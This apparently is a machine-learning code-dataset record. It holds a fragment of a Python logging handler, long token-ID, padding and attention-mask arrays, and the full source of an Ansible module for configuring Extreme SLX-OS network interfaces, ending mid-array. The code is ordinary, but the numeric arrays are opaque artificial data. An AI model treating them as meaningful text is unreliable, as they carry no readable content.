self.formatter(data) if not formatted: return with self._lock: if isinstance(formatted, unicode): self.stream.write(formatted.encode("utf-8", "replace")) elif isinstance(formatted, str): self.stream.write(formatted) else: assert False, "Got output from the formatter of an unexpected type" self.stream.flush()
mpl-2.0
[ 3, 961, 5800, 5495, 8204, 365, 5420, 370, 314, 2895, 402, 314, 17728, 1684, 199, 3, 844, 12, 373, 14, 499, 14, 16, 14, 982, 282, 1331, 402, 314, 28481, 1990, 440, 1854, 543, 642, 199, 3, 570, 12, 2047, 883, 3332, 1373, 737, 1455, 921, 12102, 14, 1308, 15, 3950, 15, 18, 14, 16, 8083, 199, 199, 504, 5796, 492, 15536, 199, 646, 6010, 199, 199, 504, 2508, 15774, 793, 492, 943, 63, 11402, 421, 199, 533, 3523, 2461, 8, 785, 304, 272, 408, 33, 1300, 3016, 13070, 1245, 7252, 30242, 7999, 370, 272, 7131, 3992, 14, 339, 520, 635, 6506, 26, 437, 3016, 13, 2930, 4550, 626, 1443, 9128, 3788, 2116, 687, 282, 943, 922, 14, 272, 408, 339, 347, 636, 826, 721, 277, 12, 6506, 304, 267, 291, 14, 9130, 275, 942, 267, 340, 2688, 8, 5216, 12, 298, 2479, 63, 1188, 2349, 288, 291, 14, 9130, 14, 740, 8, 5216, 9, 267, 291, 14, 1188, 63, 5586, 275, 1052, 339, 347, 2274, 63, 1188, 63, 5586, 8, 277, 12, 7482, 12, 8297, 304, 267, 291, 14, 1188, 63, 5586, 59, 5746, 61, 275, 8297, 339, 347, 2429, 63, 1188, 8, 277, 12, 7482, 12, 2088, 12, 627, 589, 304, 267, 408, 23555, 282, 1245, 367, 314, 1627, 7482, 701, 6358, 282, 5516, 13, 4037, 267, 3233, 367, 314, 1414, 14, 398, 520, 635, 7482, 26, 710, 7482, 402, 314, 330, 5063, 9765, 471, 1245, 14, 18599, 83, 2450, 13, 262, 370, 1993, 18390, 3788, 701, 21119, 282, 7482, 1380, 6358, 1993, 2274, 63, 1188, 63, 5586, 14, 267, 520, 635, 1414, 26, 710, 1414, 370, 4976, 14, 961, 365, 282, 1059, 626, 13718, 717, 370, 282, 3233, 2741, 701, 314, 1347, 14, 267, 520, 635, 1680, 26, 7628, 370, 986, 370, 314, 15836, 1245, 3233, 12, 340, 1263, 14, 267, 408, 267, 4336, 275, 942, 267, 340, 7482, 315, 291, 14, 1188, 63, 5586, 436, 2088, 315, 291, 14, 1188, 63, 5586, 59, 5746, 2189, 288, 4336, 14, 740, 8, 277, 14, 1188, 63, 5586, 59, 5746, 1527, 1760, 61, 2031, 589, 430, 267, 367, 6506, 315, 291, 14, 9130, 26, 288, 4336, 14, 2880, 8, 5216, 14, 2479, 63, 1188, 8, 5746, 12, 2088, 12, 627, 589, 430, 267, 372, 4336, 421, 199, 533, 5297, 4670, 4131, 8, 1563, 2461, 304, 272, 408, 2461, 626, 4766, 734, 3788, 543, 1595, 402, 943, 436, 282, 2166, 272, 5117, 2419, 2005, 2013, 2166, 14, 339, 520, 635, 6506, 26, 18599, 370, 675, 367, 3788, 626, 986, 642, 2457, 272, 520, 635, 2166, 26, 22466, 943, 2166, 370, 2112, 272, 408, 272, 347, 636, 826, 721, 277, 12, 6506, 12, 2166, 304, 267, 3523, 2461, 855, 826, 721, 277, 12, 6506, 9, 267, 291, 14, 5216, 275, 6506, 267, 291, 14, 1896, 275, 943, 63, 11402, 59, 1896, 14, 4142, 5106, 339, 347, 636, 1250, 721, 277, 12, 1242, 304, 267, 340, 334, 1053, 905, 1287, 937, 1137, 298, 793, 2, 503, 288, 943, 63, 11402, 59, 1053, 905, 1896, 4140, 4142, 5106, 2695, 291, 14, 1896, 304, 288, 372, 291, 14, 5216, 8, 1053, 9, 421, 199, 533, 8271, 2461, 8, 1563, 2461, 304, 272, 408, 2461, 367, 3575, 370, 282, 570, 13, 2930, 909, 339, 520, 635, 2547, 26, 3814, 13, 2930, 909, 370, 2218, 943, 3788, 370, 272, 520, 635, 9698, 26, 9698, 370, 3957, 3788, 370, 1059, 1475, 272, 408, 339, 485, 831, 275, 15536, 342, 339, 347, 636, 826, 721, 277, 12, 2547, 12, 9698, 304, 267, 3523, 2461, 855, 826, 721, 277, 12, 9698, 9, 267, 702, 2547, 365, 440, 488, 267, 327, 961, 365, 282, 11176, 370, 7962, 543, 314, 1930, 2382, 781, 787, 3032, 282, 267, 327, 24163, 334, 69, 14, 71, 14, 701, 14401, 367, 3839, 680, 437, 24163, 5074, 267, 327, 314, 1233, 370, 2429, 2649, 315, 8840, 314, 26912, 4340, 13524, 267, 327, 370, 282, 3293, 2547, 284, 14, 69, 14, 1265, 3544, 1172, 370, 986, 315, 282, 6140, 267, 327, 909, 7830, 2419, 282, 1059, 909, 14, 1849, 321, 543, 626, 701, 30137, 267, 327, 314, 8793, 3066, 2547, 14, 267, 340, 1228, 8, 1745, 12, 6010, 14, 16551, 304, 288, 2547, 275, 2547, 14, 1745, 398, 291, 14, 8911, 275, 9698, 267, 291, 14, 1745, 275, 2547, 339, 347, 636, 1250, 721, 277, 12, 666, 304, 267, 408, 3534, 282, 943, 1245, 14, 398, 520, 635, 666, 26, 13039, 3297, 943, 1245, 2600, 1041, 267, 7871, 275, 291, 14, 8911, 8, 576, 9, 267, 340, 440, 7871, 26, 288, 372, 267, 543, 291, 423, 831, 26, 288, 340, 1228, 8, 15317, 12, 2649, 304, 355, 291, 14, 1745, 14, 952, 8, 15317, 14, 2143, 480, 1624, 13, 24, 401, 298, 1814, 2237, 288, 916, 1228, 8, 15317, 12, 620, 304, 355, 291, 14, 1745, 14, 952, 8, 15317, 9, 288, 587, 26, 355, 702, 756, 12, 298, 13662, 1072, 687, 314, 9698, 402, 376, 10537, 730, 2, 953, 291, 14, 1745, 14, 4939, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 961, 5800, 5495, 8204, 365, 5420, 370, 314, 2895, 402, 314, 17728, 1684, 199, 3, 844, 12, 373, 14, 499, 14, 16, 14, 982, 282, 1331, 402, 314, 28481, 1990, 440, 1854, 543, 642, 199, 3, 570, 12, 2047, 883, 3332, 1373, 737, 1455, 921, 12102, 14, 1308, 15, 3950, 15, 18, 14, 16, 8083, 199, 199, 504, 5796, 492, 15536, 199, 646, 6010, 199, 199, 504, 2508, 15774, 793, 492, 943, 63, 11402, 421, 199, 533, 3523, 2461, 8, 785, 304, 272, 408, 33, 1300, 3016, 13070, 1245, 7252, 30242, 7999, 370, 272, 7131, 3992, 14, 339, 520, 635, 6506, 26, 437, 3016, 13, 2930, 4550, 626, 1443, 9128, 3788, 2116, 687, 282, 943, 922, 14, 272, 408, 339, 347, 636, 826, 721, 277, 12, 6506, 304, 267, 291, 14, 9130, 275, 942, 267, 340, 2688, 8, 5216, 12, 298, 2479, 63, 1188, 2349, 288, 291, 14, 9130, 14, 740, 8, 5216, 9, 267, 291, 14, 1188, 63, 5586, 275, 1052, 339, 347, 2274, 63, 1188, 63, 5586, 8, 277, 12, 7482, 12, 8297, 304, 267, 291, 14, 1188, 63, 5586, 59, 5746, 61, 275, 8297, 339, 347, 2429, 63, 1188, 8, 277, 12, 7482, 12, 2088, 12, 627, 589, 304, 267, 408, 23555, 282, 1245, 367, 314, 1627, 7482, 701, 6358, 282, 5516, 13, 4037, 267, 3233, 367, 314, 1414, 14, 398, 520, 635, 7482, 26, 710, 7482, 402, 314, 330, 5063, 9765, 471, 1245, 14, 18599, 83, 2450, 13, 262, 370, 1993, 18390, 3788, 701, 21119, 282, 7482, 1380, 6358, 1993, 2274, 63, 1188, 63, 5586, 14, 267, 520, 635, 1414, 26, 710, 1414, 370, 4976, 14, 961, 365, 282, 1059, 626, 13718, 717, 370, 282, 3233, 2741, 701, 314, 1347, 14, 267, 520, 635, 1680, 26, 7628, 370, 986, 370, 314, 15836, 1245, 3233, 12, 340, 1263, 14, 267, 408, 267, 4336, 275, 942, 267, 340, 7482, 315, 291, 14, 1188, 63, 5586, 436, 2088, 315, 291, 14, 1188, 63, 5586, 59, 5746, 2189, 288, 4336, 14, 740, 8, 277, 14, 1188, 63, 5586, 59, 5746, 1527, 1760, 61, 2031, 589, 430, 267, 367, 6506, 315, 291, 14, 9130, 26, 288, 4336, 14, 2880, 8, 5216, 14, 2479, 63, 1188, 8, 5746, 12, 2088, 12, 627, 589, 430, 267, 372, 4336, 421, 199, 533, 5297, 4670, 4131, 8, 1563, 2461, 304, 272, 408, 2461, 626, 4766, 734, 3788, 543, 1595, 402, 943, 436, 282, 2166, 272, 5117, 2419, 2005, 2013, 2166, 14, 339, 520, 635, 6506, 26, 18599, 370, 675, 367, 3788, 626, 986, 642, 2457, 272, 520, 635, 2166, 26, 22466, 943, 2166, 370, 2112, 272, 408, 272, 347, 636, 826, 721, 277, 12, 6506, 12, 2166, 304, 267, 3523, 2461, 855, 826, 721, 277, 12, 6506, 9, 267, 291, 14, 5216, 275, 6506, 267, 291, 14, 1896, 275, 943, 63, 11402, 59, 1896, 14, 4142, 5106, 339, 347, 636, 1250, 721, 277, 12, 1242, 304, 267, 340, 334, 1053, 905, 1287, 937, 1137, 298, 793, 2, 503, 288, 943, 63, 11402, 59, 1053, 905, 1896, 4140, 4142, 5106, 2695, 291, 14, 1896, 304, 288, 372, 291, 14, 5216, 8, 1053, 9, 421, 199, 533, 8271, 2461, 8, 1563, 2461, 304, 272, 408, 2461, 367, 3575, 370, 282, 570, 13, 2930, 909, 339, 520, 635, 2547, 26, 3814, 13, 2930, 909, 370, 2218, 943, 3788, 370, 272, 520, 635, 9698, 26, 9698, 370, 3957, 3788, 370, 1059, 1475, 272, 408, 339, 485, 831, 275, 15536, 342, 339, 347, 636, 826, 721, 277, 12, 2547, 12, 9698, 304, 267, 3523, 2461, 855, 826, 721, 277, 12, 9698, 9, 267, 702, 2547, 365, 440, 488, 267, 327, 961, 365, 282, 11176, 370, 7962, 543, 314, 1930, 2382, 781, 787, 3032, 282, 267, 327, 24163, 334, 69, 14, 71, 14, 701, 14401, 367, 3839, 680, 437, 24163, 5074, 267, 327, 314, 1233, 370, 2429, 2649, 315, 8840, 314, 26912, 4340, 13524, 267, 327, 370, 282, 3293, 2547, 284, 14, 69, 14, 1265, 3544, 1172, 370, 986, 315, 282, 6140, 267, 327, 909, 7830, 2419, 282, 1059, 909, 14, 1849, 321, 543, 626, 701, 30137, 267, 327, 314, 8793, 3066, 2547, 14, 267, 340, 1228, 8, 1745, 12, 6010, 14, 16551, 304, 288, 2547, 275, 2547, 14, 1745, 398, 291, 14, 8911, 275, 9698, 267, 291, 14, 1745, 275, 2547, 339, 347, 636, 1250, 721, 277, 12, 666, 304, 267, 408, 3534, 282, 943, 1245, 14, 398, 520, 635, 666, 26, 13039, 3297, 943, 1245, 2600, 1041, 267, 7871, 275, 291, 14, 8911, 8, 576, 9, 267, 340, 440, 7871, 26, 288, 372, 267, 543, 291, 423, 831, 26, 288, 340, 1228, 8, 15317, 12, 2649, 304, 355, 291, 14, 1745, 14, 952, 8, 15317, 14, 2143, 480, 1624, 13, 24, 401, 298, 1814, 2237, 288, 916, 1228, 8, 15317, 12, 620, 304, 355, 291, 14, 1745, 14, 952, 8, 15317, 9, 288, 587, 26, 355, 702, 756, 12, 298, 13662, 1072, 687, 314, 9698, 402, 376, 10537, 730, 2, 953, 291, 14, 1745, 14, 4939, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
JimCircadian/ansible
lib/ansible/modules/network/slxos/slxos_interface.py
91
14500
#!/usr/bin/python # # (c) 2018 Extreme Networks Inc. # # This file is part of Ansible # # Ansible is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Ansible is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Ansible. If not, see <http://www.gnu.org/licenses/>. # from __future__ import absolute_import, division, print_function __metaclass__ = type ANSIBLE_METADATA = {'metadata_version': '1.1', 'status': ['preview'], 'supported_by': 'community'} DOCUMENTATION = """ --- module: slxos_interface version_added: "2.6" author: "Lindsay Hill (@LindsayHill)" short_description: Manage Interfaces on Extreme SLX-OS network devices description: - This module provides declarative management of Interfaces on Extreme SLX-OS network devices. notes: - Tested against SLX-OS 17s.1.02 options: name: description: - Name of the Interface. required: true description: description: - Description of Interface. enabled: description: - Interface link status. default: True type: bool speed: description: - Interface link speed. mtu: description: - Maximum size of transmit packet. tx_rate: description: - Transmit rate in bits per second (bps). rx_rate: description: - Receiver rate in bits per second (bps). neighbors: description: - Check the operational state of given interface C(name) for LLDP neighbor. - The following suboptions are available. suboptions: host: description: - "LLDP neighbor host for given interface C(name)." port: description: - "LLDP neighbor port to which given interface C(name) is connected." aggregate: description: List of Interfaces definitions. delay: description: - Time in seconds to wait before checking for the operational state on remote device. This wait is applicable for operational state argument which are I(state) with values C(up)/C(down), I(tx_rate) and I(rx_rate). default: 10 state: description: - State of the Interface configuration, C(up) means present and operationally up and C(down) means present and operationally C(down) default: present choices: ['present', 'absent', 'up', 'down'] """ EXAMPLES = """ - name: configure interface slxos_interface: name: Ethernet 0/2 description: test-interface speed: 1000 mtu: 9216 - name: remove interface slxos_interface: name: Loopback 9 state: absent - name: make interface up slxos_interface: name: Ethernet 0/2 enabled: True - name: make interface down slxos_interface: name: Ethernet 0/2 enabled: False - name: Check intent arguments slxos_interface: name: Ethernet 0/2 state: up tx_rate: ge(0) rx_rate: le(0) - name: Check neighbors intent arguments slxos_interface: name: Ethernet 0/41 neighbors: - port: Ethernet 0/41 host: SLX - name: Config + intent slxos_interface: name: Ethernet 0/2 enabled: False state: down - name: Add interface using aggregate slxos_interface: aggregate: - { name: Ethernet 0/1, mtu: 1548, description: test-interface-1 } - { name: Ethernet 0/2, mtu: 1548, description: test-interface-2 } speed: 10000 state: present - name: Delete interface using aggregate slxos_interface: aggregate: - name: Loopback 9 - name: Loopback 10 state: absent """ RETURN = """ commands: description: The list of configuration mode commands to send to the device. returned: always, except for the platforms that use Netconf transport to manage the device. type: list sample: - interface Ethernet 0/2 - description test-interface - mtu 1548 """ import re from copy import deepcopy from time import sleep from ansible.module_utils._text import to_text from ansible.module_utils.basic import AnsibleModule from ansible.module_utils.connection import exec_command from ansible.module_utils.network.slxos.slxos import get_config, load_config from ansible.module_utils.network.common.config import NetworkConfig from ansible.module_utils.network.common.utils import conditional, remove_default_spec def validate_mtu(value, module): if value and not 1548 <= int(value) <= 9216: module.fail_json(msg='mtu must be between 1548 and 9216') def validate_param_values(module, obj, param=None): if param is None: param = module.params for key in obj: # validate the param value (if validator func exists) validator = globals().get('validate_%s' % key) if callable(validator): validator(param.get(key), module) def parse_shutdown(configobj, name): cfg = configobj['interface %s' % name] cfg = '\n'.join(cfg.children) match = re.search(r'^shutdown', cfg, re.M) if match: return True else: return False def parse_config_argument(configobj, name, arg=None): cfg = configobj['interface %s' % name] cfg = '\n'.join(cfg.children) match = re.search(r'%s (.+)$' % arg, cfg, re.M) if match: return match.group(1) def search_obj_in_list(name, lst): for o in lst: if o['name'] == name: return o return None def add_command_to_interface(interface, cmd, commands): if interface not in commands: commands.append(interface) commands.append(cmd) def map_config_to_obj(module): config = get_config(module) configobj = NetworkConfig(indent=1, contents=config) match = re.findall(r'^interface (\S+ \S+)', config, re.M) if not match: return list() instances = list() for item in set(match): obj = { 'name': item, 'description': parse_config_argument(configobj, item, 'description'), 'speed': parse_config_argument(configobj, item, 'speed'), 'mtu': parse_config_argument(configobj, item, 'mtu'), 'disable': True if parse_shutdown(configobj, item) else False, 'state': 'present' } instances.append(obj) return instances def map_params_to_obj(module): obj = [] aggregate = module.params.get('aggregate') if aggregate: for item in aggregate: for key in item: if item.get(key) is None: item[key] = module.params[key] validate_param_values(module, item, item) d = item.copy() if d['enabled']: d['disable'] = False else: d['disable'] = True obj.append(d) else: params = { 'name': module.params['name'], 'description': module.params['description'], 'speed': module.params['speed'], 'mtu': module.params['mtu'], 'state': module.params['state'], 'delay': module.params['delay'], 'tx_rate': module.params['tx_rate'], 'rx_rate': module.params['rx_rate'], 'neighbors': module.params['neighbors'] } validate_param_values(module, params) if module.params['enabled']: params.update({'disable': False}) else: params.update({'disable': True}) obj.append(params) return obj def map_obj_to_commands(updates): commands = list() want, have = updates args = ('speed', 'description', 'mtu') for w in want: name = w['name'] disable = w['disable'] state = w['state'] obj_in_have = search_obj_in_list(name, have) interface = 'interface ' + name if state == 'absent' and obj_in_have: commands.append('no ' + interface) elif state in ('present', 'up', 'down'): if obj_in_have: for item in args: candidate = w.get(item) running = obj_in_have.get(item) if candidate != running: if candidate: cmd = item + ' ' + str(candidate) add_command_to_interface(interface, cmd, commands) if disable and not obj_in_have.get('disable', False): add_command_to_interface(interface, 'shutdown', commands) elif not disable and obj_in_have.get('disable', False): add_command_to_interface(interface, 'no shutdown', commands) else: commands.append(interface) for item in args: value = w.get(item) if value: commands.append(item + ' ' + str(value)) if disable: commands.append('no shutdown') return commands def check_declarative_intent_params(module, want, result): failed_conditions = [] have_neighbors = None for w in want: want_state = w.get('state') want_tx_rate = w.get('tx_rate') want_rx_rate = w.get('rx_rate') want_neighbors = w.get('neighbors') if want_state not in ('up', 'down') and not want_tx_rate and not want_rx_rate and not want_neighbors: continue if result['changed']: sleep(w['delay']) command = 'show interface %s' % w['name'] rc, out, err = exec_command(module, command) if rc != 0: module.fail_json(msg=to_text(err, errors='surrogate_then_replace'), command=command, rc=rc) if want_state in ('up', 'down'): match = re.search(r'%s (\w+)' % 'line protocol is', out, re.M) have_state = None if match: have_state = match.group(1) if have_state is None or not conditional(want_state, have_state.strip()): failed_conditions.append('state ' + 'eq(%s)' % want_state) if want_tx_rate: match = re.search(r'%s (\d+)' % 'Output', out, re.M) have_tx_rate = None if match: have_tx_rate = match.group(1) if have_tx_rate is None or not conditional(want_tx_rate, have_tx_rate.strip(), cast=int): failed_conditions.append('tx_rate ' + want_tx_rate) if want_rx_rate: match = re.search(r'%s (\d+)' % 'Input', out, re.M) have_rx_rate = None if match: have_rx_rate = match.group(1) if have_rx_rate is None or not conditional(want_rx_rate, have_rx_rate.strip(), cast=int): failed_conditions.append('rx_rate ' + want_rx_rate) if want_neighbors: have_host = [] have_port = [] if have_neighbors is None: rc, have_neighbors, err = exec_command(module, 'show lldp neighbors detail') if rc != 0: module.fail_json(msg=to_text(err, errors='surrogate_then_replace'), command=command, rc=rc) if have_neighbors: lines = have_neighbors.strip().split('Local Interface: ') short_name = w['name'].replace('Ethernet', 'Eth') for line in lines: field = line.split('\n') if field[0].split('(')[0].strip() == short_name: for item in field: if item.startswith('System Name:'): have_host.append(item.split(':')[1].strip()) if item.startswith('Remote Interface:'): have_port.append(item.split(':')[1].split('(')[0].strip()) for item in want_neighbors: host = item.get('host') port = item.get('port') if host and host not in have_host: failed_conditions.append('host ' + host) if port and port not in have_port: failed_conditions.append('port ' + port) return failed_conditions def main(): """ main entry point for module execution """ neighbors_spec = dict( host=dict(), port=dict() ) element_spec = dict( name=dict(), description=dict(), speed=dict(), mtu=dict(), enabled=dict(default=True, type='bool'), tx_rate=dict(), rx_rate=dict(), neighbors=dict(type='list', elements='dict', options=neighbors_spec), delay=dict(default=10, type='int'), state=dict(default='present', choices=['present', 'absent', 'up', 'down']) ) aggregate_spec = deepcopy(element_spec) aggregate_spec['name'] = dict(required=True) # remove default in aggregate spec, to handle common arguments remove_default_spec(aggregate_spec) argument_spec = dict( aggregate=dict(type='list', elements='dict', options=aggregate_spec), ) argument_spec.update(element_spec) required_one_of = [['name', 'aggregate']] mutually_exclusive = [['name', 'aggregate']] module = AnsibleModule(argument_spec=argument_spec, required_one_of=required_one_of, mutually_exclusive=mutually_exclusive, supports_check_mode=True) warnings = list() result = {'changed': False} if warnings: result['warnings'] = warnings want = map_params_to_obj(module) have = map_config_to_obj(module) commands = map_obj_to_commands((want, have)) result['commands'] = commands if commands: if not module.check_mode: load_config(module, commands) result['changed'] = True failed_conditions = check_declarative_intent_params(module, want, result) if failed_conditions: msg = 'One or more conditional statements have not been satisfied' module.fail_json(msg=msg, failed_conditions=failed_conditions, changed=result['changed']) module.exit_json(**result) if __name__ == '__main__': main()
gpl-3.0
[ 3381, 2647, 15, 1393, 15, 1548, 199, 3, 199, 3, 334, 67, 9, 14894, 7255, 17817, 17138, 3277, 14, 199, 3, 199, 3, 961, 570, 365, 1777, 402, 2622, 199, 3, 199, 3, 2622, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 2622, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 2622, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 3, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 12, 4629, 12, 870, 63, 1593, 199, 363, 6577, 363, 275, 730, 421, 199, 8490, 63, 8314, 275, 791, 2343, 63, 1023, 356, 283, 17, 14, 17, 297, 490, 283, 1205, 356, 788, 7780, 995, 490, 283, 4946, 63, 991, 356, 283, 9387, 936, 421, 199, 8948, 275, 408, 199, 2595, 199, 578, 26, 5340, 22101, 63, 3266, 199, 1023, 63, 3270, 26, 298, 18, 14, 22, 2, 199, 2502, 26, 298, 44, 18212, 1187, 869, 778, 8593, 44, 18212, 1187, 40, 778, 2924, 199, 3612, 63, 1802, 26, 14944, 6551, 4309, 641, 7255, 17817, 428, 44, 56, 13, 3100, 2784, 7256, 199, 1802, 26, 523, 446, 961, 859, 6571, 30191, 10041, 402, 6551, 4309, 272, 641, 7255, 17817, 428, 44, 56, 13, 3100, 2784, 7256, 14, 199, 5983, 26, 523, 446, 30568, 6169, 428, 44, 56, 13, 3100, 5557, 83, 14, 17, 14, 996, 199, 1419, 26, 523, 536, 26, 272, 1369, 26, 489, 446, 2812, 402, 314, 14816, 14, 272, 1415, 26, 2549, 523, 1369, 26, 272, 1369, 26, 489, 446, 11994, 402, 14816, 14, 523, 5223, 26, 272, 1369, 26, 489, 446, 14816, 2142, 2004, 14, 272, 849, 26, 715, 272, 730, 26, 2155, 523, 8112, 26, 272, 1369, 26, 489, 446, 14816, 2142, 8112, 14, 523, 28270, 26, 272, 1369, 26, 489, 446, 14212, 1568, 402, 27754, 3644, 14, 523, 4773, 63, 1866, 26, 272, 1369, 26, 489, 446, 6266, 1147, 6634, 315, 5821, 1126, 3499, 334, 66, 1190, 680, 523, 12951, 63, 1866, 26, 272, 1369, 26, 489, 446, 799, 6594, 6634, 315, 5821, 1126, 3499, 334, 66, 1190, 680, 523, 15845, 26, 272, 1369, 26, 489, 446, 2670, 314, 3439, 279, 1174, 402, 1627, 3217, 445, 8, 354, 9, 367, 491, 29187, 15503, 14, 489, 446, 710, 2569, 26265, 787, 2808, 14, 272, 26265, 26, 267, 1591, 26, 881, 1369, 26, 288, 446, 298, 4464, 11741, 15503, 1591, 367, 1627, 3217, 445, 8, 354, 17617, 267, 1844, 26, 881, 1369, 26, 288, 446, 298, 4464, 11741, 15503, 1844, 370, 1314, 1627, 3217, 445, 8, 354, 9, 365, 8539, 2122, 523, 9531, 26, 272, 1369, 26, 3820, 402, 6551, 4309, 10269, 14, 523, 7339, 26, 272, 1369, 26, 489, 446, 4703, 315, 4696, 370, 3618, 2544, 7907, 367, 314, 3439, 279, 1174, 641, 3982, 267, 2243, 14, 961, 3618, 365, 3964, 367, 3439, 279, 1174, 1423, 1314, 787, 267, 473, 8, 929, 9, 543, 1338, 445, 8, 384, 2447, 35, 8, 2110, 395, 473, 8, 2347, 63, 1866, 9, 436, 473, 8, 6872, 63, 1866, 680, 272, 849, 26, 1616, 523, 1174, 26, 272, 1369, 26, 489, 446, 8511, 402, 314, 14816, 2897, 12, 445, 8, 384, 9, 4910, 3451, 436, 267, 3439, 1183, 1536, 436, 445, 8, 2110, 9, 4910, 3451, 436, 3439, 1183, 445, 8, 2110, 9, 272, 849, 26, 3451, 272, 3415, 26, 788, 1881, 297, 283, 